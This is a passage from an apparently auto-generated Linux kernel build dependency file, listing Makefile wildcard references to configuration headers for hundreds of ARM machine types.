$(wildcard include/config/mach/ella1.h) \
$(wildcard include/config/mach/inhand/pxa27x.h) \
$(wildcard include/config/mach/inhand/pxa25x.h) \
$(wildcard include/config/mach/empos/xm.h) \
$(wildcard include/config/mach/empos.h) \
$(wildcard include/config/mach/empos/tiny.h) \
$(wildcard include/config/mach/empos/sm.h) \
$(wildcard include/config/mach/egret.h) \
$(wildcard include/config/mach/ostrich.h) \
$(wildcard include/config/mach/n50.h) \
$(wildcard include/config/mach/ecbat91.h) \
$(wildcard include/config/mach/stareast.h) \
$(wildcard include/config/mach/dspg/dw.h) \
$(wildcard include/config/mach/onearm.h) \
$(wildcard include/config/mach/mrg110/6.h) \
$(wildcard include/config/mach/wrt300nv2.h) \
$(wildcard include/config/mach/xm/bulverde.h) \
$(wildcard include/config/mach/msm6100.h) \
$(wildcard include/config/mach/eti/b1.h) \
$(wildcard include/config/mach/zilog/za9l.h) \
$(wildcard include/config/mach/bit2440.h) \
$(wildcard include/config/mach/nbi.h) \
$(wildcard include/config/mach/smdk2443.h) \
$(wildcard include/config/mach/vdavinci.h) \
$(wildcard include/config/mach/atc6.h) \
$(wildcard include/config/mach/multmdw.h) \
$(wildcard include/config/mach/mba2440.h) \
$(wildcard include/config/mach/ecsd.h) \
$(wildcard include/config/mach/palmz31.h) \
$(wildcard include/config/mach/fsg.h) \
$(wildcard include/config/mach/razor101.h) \
$(wildcard include/config/mach/opera/tdm.h) \
$(wildcard include/config/mach/comcerto.h) \
$(wildcard include/config/mach/tb0319.h) \
$(wildcard include/config/mach/kws8000.h) \
$(wildcard include/config/mach/b2.h) \
$(wildcard include/config/mach/lcl54.h) \
$(wildcard include/config/mach/at91sam9260ek.h) \
$(wildcard include/config/mach/glantank.h) \
$(wildcard include/config/mach/n2100.h) \
$(wildcard include/config/mach/n4100.h) \
$(wildcard include/config/mach/vertical/rsc4.h) \
$(wildcard include/config/mach/sg8100.h) \
$(wildcard include/config/mach/im42xx.h) \
$(wildcard include/config/mach/ftxx.h) \
$(wildcard include/config/mach/lwfusion.h) \
$(wildcard include/config/mach/qt2410.h) \
$(wildcard include/config/mach/kixrp435.h) \
$(wildcard include/config/mach/ccw9c.h) \
$(wildcard include/config/mach/dabhs.h) \
$(wildcard include/config/mach/gzmx.h) \
$(wildcard include/config/mach/ipnw100ap.h) \
$(wildcard include/config/mach/cc9p9360dev.h) \
$(wildcard include/config/mach/cc9p9750dev.h) \
$(wildcard include/config/mach/cc9p9360val.h) \
$(wildcard include/config/mach/cc9p9750val.h) \
$(wildcard include/config/mach/nx70v.h) \
$(wildcard include/config/mach/at91rm9200df.h) \
$(wildcard include/config/mach/se/pilot2.h) \
$(wildcard include/config/mach/mtcn/t800.h) \
$(wildcard include/config/mach/vcmx212.h) \
$(wildcard include/config/mach/lynx.h) \
$(wildcard include/config/mach/at91sam9260id.h) \
$(wildcard include/config/mach/hw86052.h) \
$(wildcard include/config/mach/pilz/pmi3.h) \
$(wildcard include/config/mach/edb9302a.h) \
$(wildcard include/config/mach/edb9307a.h) \
$(wildcard include/config/mach/ct/dfs.h) \
$(wildcard include/config/mach/pilz/pmi4.h) \
$(wildcard include/config/mach/xceednp/ixp.h) \
$(wildcard include/config/mach/smdk2442b.h) \
$(wildcard include/config/mach/xnode.h) \
$(wildcard include/config/mach/aidx270.h) \
$(wildcard include/config/mach/rema.h) \
$(wildcard include/config/mach/bps1000.h) \
$(wildcard include/config/mach/hw90350.h) \
$(wildcard include/config/mach/omap/3430sdp.h) \
$(wildcard include/config/mach/bluetouch.h) \
$(wildcard include/config/mach/vstms.h) \
$(wildcard include/config/mach/xsbase270.h) \
$(wildcard include/config/mach/at91sam9260ek/cn.h) \
$(wildcard include/config/mach/adsturboxb.h) \
$(wildcard include/config/mach/oti4110.h) \
$(wildcard include/config/mach/hme/pxa.h) \
$(wildcard include/config/mach/deisterdca.h) \
$(wildcard include/config/mach/ces/ssem2.h) \
$(wildcard include/config/mach/ces/mtr.h) \
$(wildcard include/config/mach/tds/avng/sbc.h) \
$(wildcard include/config/mach/everest.h) \
$(wildcard include/config/mach/pnx4010.h) \
$(wildcard include/config/mach/oxnas.h) \
$(wildcard include/config/mach/fiori.h) \
$(wildcard include/config/mach/ml1200.h) \
$(wildcard include/config/mach/pecos.h) \
$(wildcard include/config/mach/nb2xxx.h) \
$(wildcard include/config/mach/hw6900.h) \
$(wildcard include/config/mach/cdcs/quoll.h) \
$(wildcard include/config/mach/quicksilver.h) \
$(wildcard include/config/mach/uplat926.h) \
$(wildcard include/config/mach/dep2410/thomas.h) \
$(wildcard include/config/mach/dtk2410.h) \
$(wildcard include/config/mach/chili.h) \
$(wildcard include/config/mach/demeter.h) \
$(wildcard include/config/mach/dionysus.h) \
$(wildcard include/config/mach/as352x.h) \
$(wildcard include/config/mach/service.h) \
$(wildcard include/config/mach/cs/e9301.h) \
$(wildcard include/config/mach/micro9m.h) \
$(wildcard include/config/mach/ia/mospck.h) \
$(wildcard include/config/mach/ql201b.h) \
$(wildcard include/config/mach/bbm.h) \
$(wildcard include/config/mach/exxx.h) \
$(wildcard include/config/mach/wma11b.h) \
$(wildcard include/config/mach/pelco/atlas.h) \
$(wildcard include/config/mach/g500.h) \
$(wildcard include/config/mach/bug.h) \
$(wildcard include/config/mach/mx33ads.h) \
$(wildcard include/config/mach/chub.h) \
$(wildcard include/config/mach/neo1973/gta01.h) \
$(wildcard include/config/mach/w90n740.h) \
$(wildcard include/config/mach/medallion/sa2410.h) \
$(wildcard include/config/mach/ia/cpu/9200/2.h) \
$(wildcard include/config/mach/dimmrm9200.h) \
$(wildcard include/config/mach/pm9261.h) \
$(wildcard include/config/mach/ml7304.h) \
$(wildcard include/config/mach/ucp250.h) \
$(wildcard include/config/mach/intboard.h) \
$(wildcard include/config/mach/gulfstream.h) \
$(wildcard include/config/mach/labquest.h) \
$(wildcard include/config/mach/vcmx313.h) \
$(wildcard include/config/mach/urg200.h) \
$(wildcard include/config/mach/cpux255lcdnet.h) \
$(wildcard include/config/mach/netdcu9.h) \
$(wildcard include/config/mach/netdcu10.h) \
$(wildcard include/config/mach/dspg/dga.h) \
$(wildcard include/config/mach/dspg/dvw.h) \
$(wildcard include/config/mach/solos.h) \
$(wildcard include/config/mach/at91sam9263ek.h) \
$(wildcard include/config/mach/osstbox.h) \
$(wildcard include/config/mach/kbat9261.h) \
$(wildcard include/config/mach/ct1100.h) \
$(wildcard include/config/mach/akcppxa.h) \
$(wildcard include/config/mach/ochaya1020.h) \
$(wildcard include/config/mach/hitrack.h) \
$(wildcard include/config/mach/syme1.h) \
$(wildcard include/config/mach/syhl1.h) \
$(wildcard include/config/mach/empca400.h) \
$(wildcard include/config/mach/em7210.h) \
$(wildcard include/config/mach/htchermes.h) \
$(wildcard include/config/mach/eti/c1.h) \
$(wildcard include/config/mach/ac100.h) \
$(wildcard include/config/mach/sneetch.h) \
$(wildcard include/config/mach/studentmate.h) \
$(wildcard include/config/mach/zir2410.h) \
$(wildcard include/config/mach/zir2413.h) \
$(wildcard include/config/mach/dlonip3.h) \
$(wildcard include/config/mach/instream.h) \
$(wildcard include/config/mach/ambarella.h) \
$(wildcard include/config/mach/nevis.h) \
$(wildcard include/config/mach/htc/trinity.h) \
$(wildcard include/config/mach/ql202b.h) \
$(wildcard include/config/mach/vpac270.h) \
$(wildcard include/config/mach/rd129.h) \
$(wildcard include/config/mach/htcwizard.h) \
$(wildcard include/config/mach/treo680.h) \
$(wildcard include/config/mach/tecon/tmezon.h) \
$(wildcard include/config/mach/zylonite.h) \
$(wildcard include/config/mach/gene1270.h) \
$(wildcard include/config/mach/zir2412.h) \
$(wildcard include/config/mach/mx31lite.h) \
$(wildcard include/config/mach/t700wx.h) \
$(wildcard include/config/mach/vf100.h) \
$(wildcard include/config/mach/nsb2.h) \
$(wildcard include/config/mach/nxhmi/bb.h) \
$(wildcard include/config/mach/nxhmi/re.h) \
$(wildcard include/config/mach/n4100pro.h) \
$(wildcard include/config/mach/sam9260.h) \
$(wildcard include/config/mach/omap/treo600.h) \
$(wildcard include/config/mach/indy2410.h) \
$(wildcard include/config/mach/nelt/a.h) \
$(wildcard include/config/mach/n311.h) \
$(wildcard include/config/mach/at91sam9260vgk.h) \
$(wildcard include/config/mach/at91leppe.h) \
$(wildcard include/config/mach/at91lepccn.h) \
$(wildcard include/config/mach/apc7100.h) \
$(wildcard include/config/mach/stargazer.h) \
$(wildcard include/config/mach/sonata.h) \
$(wildcard include/config/mach/schmoogie.h) \
$(wildcard include/config/mach/aztool.h) \
$(wildcard include/config/mach/mioa701.h) \
$(wildcard include/config/mach/sxni9260.h) \
$(wildcard include/config/mach/mxc27520evb.h) \
$(wildcard include/config/mach/armadillo5x0.h) \
$(wildcard include/config/mach/mb9260.h) \
$(wildcard include/config/mach/mb9263.h) \
$(wildcard include/config/mach/ipac9302.h) \
$(wildcard include/config/mach/cc9p9360js.h) \
$(wildcard include/config/mach/gallium.h) \
$(wildcard include/config/mach/msc2410.h) \
$(wildcard include/config/mach/ghi270.h) \
$(wildcard include/config/mach/davinci/leonardo.h) \
$(wildcard include/config/mach/oiab.h) \
$(wildcard include/config/mach/smdk6400.h) \
$(wildcard include/config/mach/nokia/n800.h) \
$(wildcard include/config/mach/greenphone.h) \
$(wildcard include/config/mach/compexwp18.h) \
$(wildcard include/config/mach/xmate.h) \
$(wildcard include/config/mach/energizer.h) \
$(wildcard include/config/mach/ime1.h) \
$(wildcard include/config/mach/swedatms.h) \
$(wildcard include/config/mach/ntnp435c.h) \
$(wildcard include/config/mach/spectro2.h) \
$(wildcard include/config/mach/h6039.h) \
$(wildcard include/config/mach/ep80219.h) \
$(wildcard include/config/mach/samoa/ii.h) \
$(wildcard include/config/mach/cwmxl.h) \
$(wildcard include/config/mach/as9200.h) \
$(wildcard include/config/mach/sfx1149.h) \
$(wildcard include/config/mach/navi010.h) \
$(wildcard include/config/mach/multmdp.h) \
$(wildcard include/config/mach/scb9520.h) \
$(wildcard include/config/mach/htcathena.h) \
$(wildcard include/config/mach/xp179.h) \
$(wildcard include/config/mach/h4300.h) \
$(wildcard include/config/mach/goramo/mlr.h) \
$(wildcard include/config/mach/mxc30020evb.h) \
$(wildcard include/config/mach/adsbitsyg5.h) \
$(wildcard include/config/mach/adsportalplus.h) \
$(wildcard include/config/mach/mmsp2plus.h) \
$(wildcard include/config/mach/em/x270.h) \
$(wildcard include/config/mach/tpp302.h) \
$(wildcard include/config/mach/tpm104.h) \
$(wildcard include/config/mach/tpm102.h) \
$(wildcard include/config/mach/tpm109.h) \
$(wildcard include/config/mach/fbxo1.h) \
$(wildcard include/config/mach/hxd8.h) \
$(wildcard include/config/mach/neo1973/gta02.h) \
$(wildcard include/config/mach/emtest.h) \
$(wildcard include/config/mach/ad6900.h) \
$(wildcard include/config/mach/europa.h) \
$(wildcard include/config/mach/metroconnect.h) \
$(wildcard include/config/mach/ez/s2410.h) \
$(wildcard include/config/mach/ez/s2440.h) \
$(wildcard include/config/mach/ez/ep9312.h) \
$(wildcard include/config/mach/ez/ep9315.h) \
$(wildcard include/config/mach/ez/x7.h) \
$(wildcard include/config/mach/godotdb.h) \
$(wildcard include/config/mach/mistral.h) \
$(wildcard include/config/mach/msm.h) \
$(wildcard include/config/mach/ct5910.h) \
$(wildcard include/config/mach/ct5912.h) \
$(wildcard include/config/mach/hynet/ine.h) \
$(wildcard include/config/mach/hynet/app.h) \
$(wildcard include/config/mach/msm7200.h) \
$(wildcard include/config/mach/msm7600.h) \
$(wildcard include/config/mach/ceb255.h) \
$(wildcard include/config/mach/ciel.h) \
$(wildcard include/config/mach/slm5650.h) \
$(wildcard include/config/mach/at91sam9rlek.h) \
$(wildcard include/config/mach/comtech/router.h) \
$(wildcard include/config/mach/sbc2410x.h) \
$(wildcard include/config/mach/at4x0bd.h) \
$(wildcard include/config/mach/cbifr.h) \
$(wildcard include/config/mach/arcom/quantum.h) \
$(wildcard include/config/mach/matrix520.h) \
$(wildcard include/config/mach/matrix510.h) \
$(wildcard include/config/mach/matrix500.h) \
$(wildcard include/config/mach/m501.h) \
$(wildcard include/config/mach/aaeon1270.h) \
$(wildcard include/config/mach/matrix500ev.h) \
$(wildcard include/config/mach/pac500.h) \
$(wildcard include/config/mach/pnx8181.h) \
$(wildcard include/config/mach/colibri320.h) \
$(wildcard include/config/mach/aztoolbb.h) \
$(wildcard include/config/mach/aztoolg2.h) \
$(wildcard include/config/mach/dvlhost.h) \
$(wildcard include/config/mach/zir9200.h) \
$(wildcard include/config/mach/zir9260.h) \
$(wildcard include/config/mach/cocopah.h) \
$(wildcard include/config/mach/nds.h) \
$(wildcard include/config/mach/rosencrantz.h) \
$(wildcard include/config/mach/fttx/odsc.h) \
$(wildcard include/config/mach/classe/r6904.h) \
$(wildcard include/config/mach/cam60.h) \
$(wildcard include/config/mach/mxc30031ads.h) \
$(wildcard include/config/mach/datacall.h) \
$(wildcard include/config/mach/at91eb01.h) \
$(wildcard include/config/mach/rty.h) \
$(wildcard include/config/mach/dwl2100.h) \
$(wildcard include/config/mach/vinsi.h) \
$(wildcard include/config/mach/db88f5281.h) \
$(wildcard include/config/mach/csb726.h) \
$(wildcard include/config/mach/tik27.h) \
$(wildcard include/config/mach/mx/uc7420.h) \
$(wildcard include/config/mach/rirm3.h) \
$(wildcard include/config/mach/pelco/odyssey.h) \
$(wildcard include/config/mach/adx/abox.h) \
$(wildcard include/config/mach/adx/tpid.h) \
$(wildcard include/config/mach/minicheck.h) \
$(wildcard include/config/mach/idam.h) \
$(wildcard include/config/mach/mario/mx.h) \
$(wildcard include/config/mach/vi1888.h) \
$(wildcard include/config/mach/zr4230.h) \
$(wildcard include/config/mach/t1/ix/blue.h) \
$(wildcard include/config/mach/syhq2.h) \
$(wildcard include/config/mach/computime/r3.h) \
$(wildcard include/config/mach/oratis.h) \
$(wildcard include/config/mach/mikko.h) \
$(wildcard include/config/mach/holon.h) \
$(wildcard include/config/mach/olip8.h) \
$(wildcard include/config/mach/ghi270hg.h) \
$(wildcard include/config/mach/davinci/dm6467/evm.h) \
$(wildcard include/config/mach/davinci/dm355/evm.h) \
$(wildcard include/config/mach/blackriver.h) \
$(wildcard include/config/mach/sandgatewp.h) \
$(wildcard include/config/mach/cdotbwsg.h) \
$(wildcard include/config/mach/quark963.h) \
$(wildcard include/config/mach/csb735.h) \
$(wildcard include/config/mach/littleton.h) \
$(wildcard include/config/mach/mio/p550.h) \
$(wildcard include/config/mach/motion2440.h) \
$(wildcard include/config/mach/imm500.h) \
$(wildcard include/config/mach/homematic.h) \
$(wildcard include/config/mach/ermine.h) \
$(wildcard include/config/mach/kb9202b.h) \
$(wildcard include/config/mach/hs1xx.h) \
$(wildcard include/config/mach/studentmate2440.h) \
$(wildcard include/config/mach/arvoo/l1/z1.h) \
$(wildcard include/config/mach/dep2410k.h) \
$(wildcard include/config/mach/xxsvideo.h) \
$(wildcard include/config/mach/im4004.h) \
$(wildcard include/config/mach/ochaya1050.h) \
$(wildcard include/config/mach/lep9261.h) \
$(wildcard include/config/mach/svenmeb.h) \
$(wildcard include/config/mach/fortunet2ne.h) \
$(wildcard include/config/mach/nxhx.h) \
$(wildcard include/config/mach/realview/pb11mp.h) \
$(wildcard include/config/mach/ids500.h) \
$(wildcard include/config/mach/ors/n725.h) \
$(wildcard include/config/mach/hsdarm.h) \
$(wildcard include/config/mach/sha/pon003.h) \
$(wildcard include/config/mach/sha/pon004.h) \
$(wildcard include/config/mach/sha/pon007.h) \
$(wildcard include/config/mach/sha/pon011.h) \
$(wildcard include/config/mach/h6042.h) \
$(wildcard include/config/mach/h6043.h) \
$(wildcard include/config/mach/looxc550.h) \
$(wildcard include/config/mach/cnty/titan.h) \
$(wildcard include/config/mach/app3xx.h) \
$(wildcard include/config/mach/sideoatsgrama.h) \
$(wildcard include/config/mach/treo700p.h) \
$(wildcard include/config/mach/treo700w.h) \
$(wildcard include/config/mach/treo750.h) \
$(wildcard include/config/mach/treo755p.h) \
$(wildcard include/config/mach/ezreganut9200.h) \
$(wildcard include/config/mach/sarge.h) \
$(wildcard include/config/mach/a696.h) \
$(wildcard include/config/mach/turtle.h) \
$(wildcard include/config/mach/mx27/3ds.h) \
$(wildcard include/config/mach/bishop.h) \
$(wildcard include/config/mach/pxx.h) \
$(wildcard include/config/mach/redwood.h) \
$(wildcard include/config/mach/omap/2430dlp.h) \
$(wildcard include/config/mach/omap/2430osk.h) \
$(wildcard include/config/mach/sardine.h) \
$(wildcard include/config/mach/halibut.h) \
$(wildcard include/config/mach/trout.h) \
$(wildcard include/config/mach/goldfish.h) \
$(wildcard include/config/mach/gesbc2440.h) \
$(wildcard include/config/mach/nomad.h) \
$(wildcard include/config/mach/rosalind.h) \
$(wildcard include/config/mach/cc9p9215.h) \
$(wildcard include/config/mach/cc9p9210.h) \
$(wildcard include/config/mach/cc9p9215js.h) \
$(wildcard include/config/mach/cc9p9210js.h) \
$(wildcard include/config/mach/nasffe.h) \
$(wildcard include/config/mach/tn2x0bd.h) \
$(wildcard include/config/mach/gwmpxa.h) \
$(wildcard include/config/mach/exyplus.h) \
$(wildcard include/config/mach/jadoo21.h) \
$(wildcard include/config/mach/looxn560.h) \
$(wildcard include/config/mach/bonsai.h) \
$(wildcard include/config/mach/adsmilgato.h) \
$(wildcard include/config/mach/gba.h) \
$(wildcard include/config/mach/h6044.h) \
$(wildcard include/config/mach/app.h) \
$(wildcard include/config/mach/tct/hammer.h) \
$(wildcard include/config/mach/herald.h) \
$(wildcard include/config/mach/artemis.h) \
$(wildcard include/config/mach/htctitan.h) \
$(wildcard include/config/mach/qranium.h) \
$(wildcard include/config/mach/adx/wsc2.h) \
$(wildcard include/config/mach/adx/medcom.h) \
$(wildcard include/config/mach/bboard.h) \
$(wildcard include/config/mach/cambria.h) \
$(wildcard include/config/mach/mt7xxx.h) \
$(wildcard include/config/mach/matrix512.h) \
$(wildcard include/config/mach/matrix522.h) \
$(wildcard include/config/mach/ipac5010.h) \
$(wildcard include/config/mach/sakura.h) \
$(wildcard include/config/mach/grocx.h) \
$(wildcard include/config/mach/pm9263.h) \
$(wildcard include/config/mach/sim/one.h) \
$(wildcard include/config/mach/acq132.h) \
$(wildcard include/config/mach/datr.h) \
$(wildcard include/config/mach/actux1.h) \
$(wildcard include/config/mach/actux2.h) \
$(wildcard include/config/mach/actux3.h) \
$(wildcard include/config/mach/flexit.h) \
$(wildcard include/config/mach/bh2x0bd.h) \
$(wildcard include/config/mach/atb2002.h) \
$(wildcard include/config/mach/xenon.h) \
$(wildcard include/config/mach/fm607.h) \
$(wildcard include/config/mach/matrix514.h) \
$(wildcard include/config/mach/matrix524.h) \
$(wildcard include/config/mach/inpod.h) \
$(wildcard include/config/mach/jive.h) \
$(wildcard include/config/mach/tll/mx21.h) \
$(wildcard include/config/mach/sbc2800.h) \
$(wildcard include/config/mach/cc7ucamry.h) \
$(wildcard include/config/mach/ubisys/p9/sc15.h) \
$(wildcard include/config/mach/ubisys/p9/ssc2d10.h) \
$(wildcard include/config/mach/ubisys/p9/rcu3.h) \
$(wildcard include/config/mach/aml/m8000.h) \
$(wildcard include/config/mach/snapper/270.h) \
$(wildcard include/config/mach/omap/bbx.h) \
$(wildcard include/config/mach/ucn2410.h) \
$(wildcard include/config/mach/sam9/l9260.h) \
$(wildcard include/config/mach/eti/c2.h) \
$(wildcard include/config/mach/avalanche.h) \
$(wildcard include/config/mach/realview/pb1176.h) \
$(wildcard include/config/mach/dp1500.h) \
$(wildcard include/config/mach/apple/iphone.h) \
$(wildcard include/config/mach/yl9200.h) \
$(wildcard include/config/mach/rd88f5182.h) \
$(wildcard include/config/mach/kurobox/pro.h) \
$(wildcard include/config/mach/se/poet.h) \
$(wildcard include/config/mach/mx31/3ds.h) \
$(wildcard include/config/mach/r270.h) \
$(wildcard include/config/mach/armour21.h) \
$(wildcard include/config/mach/dt2.h) \
$(wildcard include/config/mach/vt4.h) \
$(wildcard include/config/mach/tyco320.h) \
$(wildcard include/config/mach/adma.h) \
$(wildcard include/config/mach/wp188.h) \
$(wildcard include/config/mach/corsica.h) \
$(wildcard include/config/mach/bigeye.h) \
$(wildcard include/config/mach/tll5000.h) \
$(wildcard include/config/mach/bebot.h) \
$(wildcard include/config/mach/qong.h) \
$(wildcard include/config/mach/tcompact.h) \
$(wildcard include/config/mach/puma5.h) \
$(wildcard include/config/mach/elara.h) \
$(wildcard include/config/mach/ellington.h) \
$(wildcard include/config/mach/xda/atom.h) \
$(wildcard include/config/mach/energizer2.h) \
$(wildcard include/config/mach/odin.h) \
$(wildcard include/config/mach/actux4.h) \
$(wildcard include/config/mach/esl/omap.h) \
$(wildcard include/config/mach/omap2evm.h) \
$(wildcard include/config/mach/omap3evm.h) \
$(wildcard include/config/mach/adx/pcu57.h) \
$(wildcard include/config/mach/monaco.h) \
$(wildcard include/config/mach/levante.h) \
$(wildcard include/config/mach/tmxipx425.h) \
$(wildcard include/config/mach/leep.h) \
$(wildcard include/config/mach/raad.h) \
$(wildcard include/config/mach/dns323.h) \
$(wildcard include/config/mach/ap1000.h) \
$(wildcard include/config/mach/a9sam6432.h) \
$(wildcard include/config/mach/shiny.h) \
$(wildcard include/config/mach/omap3/beagle.h) \
$(wildcard include/config/mach/csr/bdb2.h) \
$(wildcard include/config/mach/nokia/n810.h) \
$(wildcard include/config/mach/c270.h) \
$(wildcard include/config/mach/sentry.h) \
$(wildcard include/config/mach/pcm038.h) \
$(wildcard include/config/mach/anc300.h) \
$(wildcard include/config/mach/htckaiser.h) \
$(wildcard include/config/mach/sbat100.h) \
$(wildcard include/config/mach/modunorm.h) \
$(wildcard include/config/mach/pelos/twarm.h) \
$(wildcard include/config/mach/flank.h) \
$(wildcard include/config/mach/sirloin.h) \
$(wildcard include/config/mach/brisket.h) \
$(wildcard include/config/mach/chuck.h) \
$(wildcard include/config/mach/otter.h) \
$(wildcard include/config/mach/davinci/ldk.h) \
$(wildcard include/config/mach/phreedom.h) \
$(wildcard include/config/mach/sg310.h) \
$(wildcard include/config/mach/ts209.h) \
$(wildcard include/config/mach/at91cap9adk.h) \
$(wildcard include/config/mach/tion9315.h) \
$(wildcard include/config/mach/mast.h) \
$(wildcard include/config/mach/pfw.h) \
$(wildcard include/config/mach/yl/p2440.h) \
$(wildcard include/config/mach/zsbc32.h) \
$(wildcard include/config/mach/omap/pace2.h) \
$(wildcard include/config/mach/imx/pace2.h) \
$(wildcard include/config/mach/mx31moboard.h) \
$(wildcard include/config/mach/mx37/3ds.h) \
$(wildcard include/config/mach/rcc.h) \
$(wildcard include/config/mach/arm9.h) \
$(wildcard include/config/mach/vision/ep9307.h) \
$(wildcard include/config/mach/scly1000.h) \
$(wildcard include/config/mach/fontel/ep.h) \
$(wildcard include/config/mach/voiceblue3g.h) \
$(wildcard include/config/mach/tt9200.h) \
$(wildcard include/config/mach/digi2410.h) \
$(wildcard include/config/mach/terastation/pro2.h) \
$(wildcard include/config/mach/linkstation/pro.h) \
$(wildcard include/config/mach/motorola/a780.h) \
$(wildcard include/config/mach/motorola/e6.h) \
$(wildcard include/config/mach/motorola/e2.h) \
$(wildcard include/config/mach/motorola/e680.h) \
$(wildcard include/config/mach/ur2410.h) \
$(wildcard include/config/mach/tas9261.h) \
$(wildcard include/config/mach/hermes/hd.h) \
$(wildcard include/config/mach/perseo/hd.h) \
$(wildcard include/config/mach/stargazer2.h) \
$(wildcard include/config/mach/e350.h) \
$(wildcard include/config/mach/wpcm450.h) \
$(wildcard include/config/mach/cartesio.h) \
$(wildcard include/config/mach/toybox.h) \
$(wildcard include/config/mach/tx27.h) \
$(wildcard include/config/mach/ts409.h) \
$(wildcard include/config/mach/p300.h) \
$(wildcard include/config/mach/xdacomet.h) \
$(wildcard include/config/mach/dexflex2.h) \
$(wildcard include/config/mach/ow.h) \
$(wildcard include/config/mach/armebs3.h) \
$(wildcard include/config/mach/u3.h) \
$(wildcard include/config/mach/smdk2450.h) \
$(wildcard include/config/mach/rsi/ews.h) \
$(wildcard include/config/mach/tnb.h) \
$(wildcard include/config/mach/toepath.h) \
$(wildcard include/config/mach/kb9263.h) \
$(wildcard include/config/mach/mt7108.h) \
$(wildcard include/config/mach/smtr2440.h) \
$(wildcard include/config/mach/manao.h) \
$(wildcard include/config/mach/cm/x300.h) \
$(wildcard include/config/mach/gulfstream/kp.h) \
$(wildcard include/config/mach/lanreadyfn522.h) \
$(wildcard include/config/mach/arma37.h) \
$(wildcard include/config/mach/mendel.h) \
$(wildcard include/config/mach/pelco/iliad.h) \
$(wildcard include/config/mach/unit2p.h) \
$(wildcard include/config/mach/inc20otter.h) \
$(wildcard include/config/mach/at91sam9g20ek.h) \
$(wildcard include/config/mach/storcenter.h) \
$(wildcard include/config/mach/smdk6410.h) \
$(wildcard include/config/mach/u300.h) \
$(wildcard include/config/mach/u500.h) \
$(wildcard include/config/mach/ds9260.h) \
$(wildcard include/config/mach/riverrock.h) \
$(wildcard include/config/mach/scibath.h) \
$(wildcard include/config/mach/at91sam7se512ek.h) \
$(wildcard include/config/mach/wrt350n/v2.h) \
$(wildcard include/config/mach/multimedia.h) \
$(wildcard include/config/mach/marvin.h) \
$(wildcard include/config/mach/x500.h) \
$(wildcard include/config/mach/awlug4lcu.h) \
$(wildcard include/config/mach/palermoc.h) \
$(wildcard include/config/mach/omap/ldp.h) \
$(wildcard include/config/mach/ip500.h) \
$(wildcard include/config/mach/ase2.h) \
$(wildcard include/config/mach/mx35evb.h) \
$(wildcard include/config/mach/aml/m8050.h) \
$(wildcard include/config/mach/mx35/3ds.h) \
$(wildcard include/config/mach/mars.h) \
$(wildcard include/config/mach/neuros/osd2.h) \
$(wildcard include/config/mach/badger.h) \
$(wildcard include/config/mach/trizeps4wl.h) \
$(wildcard include/config/mach/trizeps5.h) \
$(wildcard include/config/mach/marlin.h) \
$(wildcard include/config/mach/ts78xx.h) \
$(wildcard include/config/mach/hpipaq214.h) \
$(wildcard include/config/mach/at572d940dcm.h) \
$(wildcard include/config/mach/ne1board.h) \
$(wildcard include/config/mach/zante.h) \
$(wildcard include/config/mach/sffsdr.h) \
$(wildcard include/config/mach/tw2662.h) \
$(wildcard include/config/mach/vf10xx.h) \
$(wildcard include/config/mach/zoran43xx.h) \
$(wildcard include/config/mach/sonix926.h) \
$(wildcard include/config/mach/celestialsemi.h) \
$(wildcard include/config/mach/cc9m2443js.h) \
$(wildcard include/config/mach/tw5334.h) \
$(wildcard include/config/mach/htcartemis.h) \
$(wildcard include/config/mach/nal/hlite.h) \
$(wildcard include/config/mach/htcvogue.h) \
$(wildcard include/config/mach/smartweb.h) \
$(wildcard include/config/mach/mv86xx.h) \
$(wildcard include/config/mach/mv87xx.h) \
$(wildcard include/config/mach/songyoungho.h) \
$(wildcard include/config/mach/younghotema.h) \
$(wildcard include/config/mach/pcm037.h) \
$(wildcard include/config/mach/mmvp.h) \
$(wildcard include/config/mach/mmap.h) \
$(wildcard include/config/mach/ptid2410.h) \
$(wildcard include/config/mach/james/926.h) \
$(wildcard include/config/mach/fm6000.h) \
$(wildcard include/config/mach/db88f6281/bp.h) \
$(wildcard include/config/mach/rd88f6192/nas.h) \
$(wildcard include/config/mach/rd88f6281.h) \
$(wildcard include/config/mach/db78x00/bp.h) \
$(wildcard include/config/mach/smdk2416.h) \
$(wildcard include/config/mach/oce/spider/si.h) \
$(wildcard include/config/mach/oce/spider/sk.h) \
$(wildcard include/config/mach/rovern6.h) \
$(wildcard include/config/mach/pelco/evolution.h) \
$(wildcard include/config/mach/wbd111.h) \
$(wildcard include/config/mach/elaracpe.h) \
$(wildcard include/config/mach/mabv3.h) \
$(wildcard include/config/mach/mv2120.h) \
$(wildcard include/config/mach/csb737.h) \
$(wildcard include/config/mach/mx51/3ds.h) \
$(wildcard include/config/mach/g900.h) \
$(wildcard include/config/mach/apf27.h) \
$(wildcard include/config/mach/ggus2000.h) \
$(wildcard include/config/mach/omap/2430/mimic.h) \
$(wildcard include/config/mach/imx27lite.h) \
$(wildcard include/config/mach/almex.h) \
$(wildcard include/config/mach/control.h) \
$(wildcard include/config/mach/mba2410.h) \
$(wildcard include/config/mach/volcano.h) \
$(wildcard include/config/mach/zenith.h) \
$(wildcard include/config/mach/muchip.h) \
$(wildcard include/config/mach/magellan.h) \
$(wildcard include/config/mach/usb/a9260.h) \
$(wildcard include/config/mach/usb/a9263.h) \
$(wildcard include/config/mach/qil/a9260.h) \
$(wildcard include/config/mach/cme9210.h) \
$(wildcard include/config/mach/hczh4.h) \
$(wildcard include/config/mach/spearbasic.h) \
$(wildcard include/config/mach/dep2440.h) \
$(wildcard include/config/mach/hdl/gxr.h) \
$(wildcard include/config/mach/hdl/gt.h) \
$(wildcard include/config/mach/hdl/4g.h) \
$(wildcard include/config/mach/s3c6000.h) \
$(wildcard include/config/mach/mmsp2/mdk.h) \
$(wildcard include/config/mach/mpx220.h) \
$(wildcard include/config/mach/kzm/arm11/01.h) \
$(wildcard include/config/mach/htc/polaris.h) \
$(wildcard include/config/mach/htc/kaiser.h) \
$(wildcard include/config/mach/lg/ks20.h) \
$(wildcard include/config/mach/hhgps.h) \
$(wildcard include/config/mach/nokia/n810/wimax.h) \
$(wildcard include/config/mach/insight.h) \
$(wildcard include/config/mach/sapphire.h) \
$(wildcard include/config/mach/csb637xo.h) \
$(wildcard include/config/mach/evisiong.h) \
$(wildcard include/config/mach/stmp37xx.h) \
$(wildcard include/config/mach/stmp378x.h) \
$(wildcard include/config/mach/tnt.h) \
$(wildcard include/config/mach/tbxt.h) \
$(wildcard include/config/mach/playmate.h) \
$(wildcard include/config/mach/pns10.h) \
$(wildcard include/config/mach/eznavi.h) \
$(wildcard include/config/mach/ps4000.h) \
